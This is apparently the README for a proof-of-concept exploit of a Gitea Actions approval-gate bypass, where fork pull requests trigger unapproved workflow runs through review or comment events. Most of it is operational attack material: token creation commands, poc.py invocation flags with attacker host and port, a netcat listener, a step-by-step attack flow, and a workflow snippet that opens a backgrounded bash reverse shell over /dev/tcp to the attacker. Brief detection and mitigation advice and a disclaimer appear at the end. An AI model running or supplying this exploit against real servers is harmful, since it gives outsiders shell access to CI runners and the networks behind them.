
A flaw in Gitea Open Source Git Server’s approval‑gate logic allows a pull request that originates from a permanent fork to merge without satisfying the repository’s configured approval gates.
Severity: High (CVSS 8.9) Affected: Gitea ≤ 1.26.2 Fixed in: Gitea 1.26.3 Advisory: GHSA-777r-4v59-6486
Gitea Actions enforces an approval gate on workflow runs triggered by fork pull requests. The gate is implemented in ifNeedApproval() and is intended to prevent untrusted contributors from executing arbitrary code via CI pipelines.
The flaw is that ifNeedApproval() is only correctly applied to the pull_request event. Each event type listed in a workflow's on: block produces an independent ActionRun object with its own approval check. When an attacker widens the on: block to include events like pull_request_review, issue_comment, or pull_request_review_comment, those runs are dispatched without going through the approval gate.
Triggering any of these unguarded events - for example, posting a PR review comment - immediately starts the workflow run as the runner's service account, with no maintainer approval required.
The ifNeedApproval() function checks approval based on (repo_id, trigger_user_id) for the pull_request event, but does not apply this check consistently across all triggerable event types.
Vulnerable path:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| Requirement | Detail |
|---|---|
| Gitea account | Any authenticated user with fork permission |
| Target repo | Gitea Actions must be enabled |
| Runner | act_runner must be online and registered |
| Network | Attacker host must be reachable from the runner |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
Via browser: Settings -> Applications -> Generate Token
Scopes needed: repository write + issue write.
Via API:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
Run:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
For Gitea instances that only accept Kerberos/SPNEGO (Active Directory environments with SSPI enforced). Must run from a domain-joined host with a valid TGT.
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
If DNS resolution fails, configure /etc/krb5.conf:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
By default act_runner is single-worker. If the reverse shell step does not exit cleanly, the runner stays in "running" state and ignores new jobs.
To avoid this, background the shell:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
Or use --custom-payload to pass a daemonized one-liner directly.
ActionRun entries with event=pull_request_review or event=issue_comment originating from fork PRspull_request_review triggers with shell execution steps| Action | Detail |
|---|---|
| Upgrade | Gitea 1.26.3+ patches this issue |
| Workaround | Disable Gitea Actions on repos with untrusted contributors |
| Audit | Review fork PRs and associated workflow runs for unexpected executions |
| Restrict | Limit fork permissions to trusted users |
For authorized security testing and research only. Do not use against systems without explicit written permission.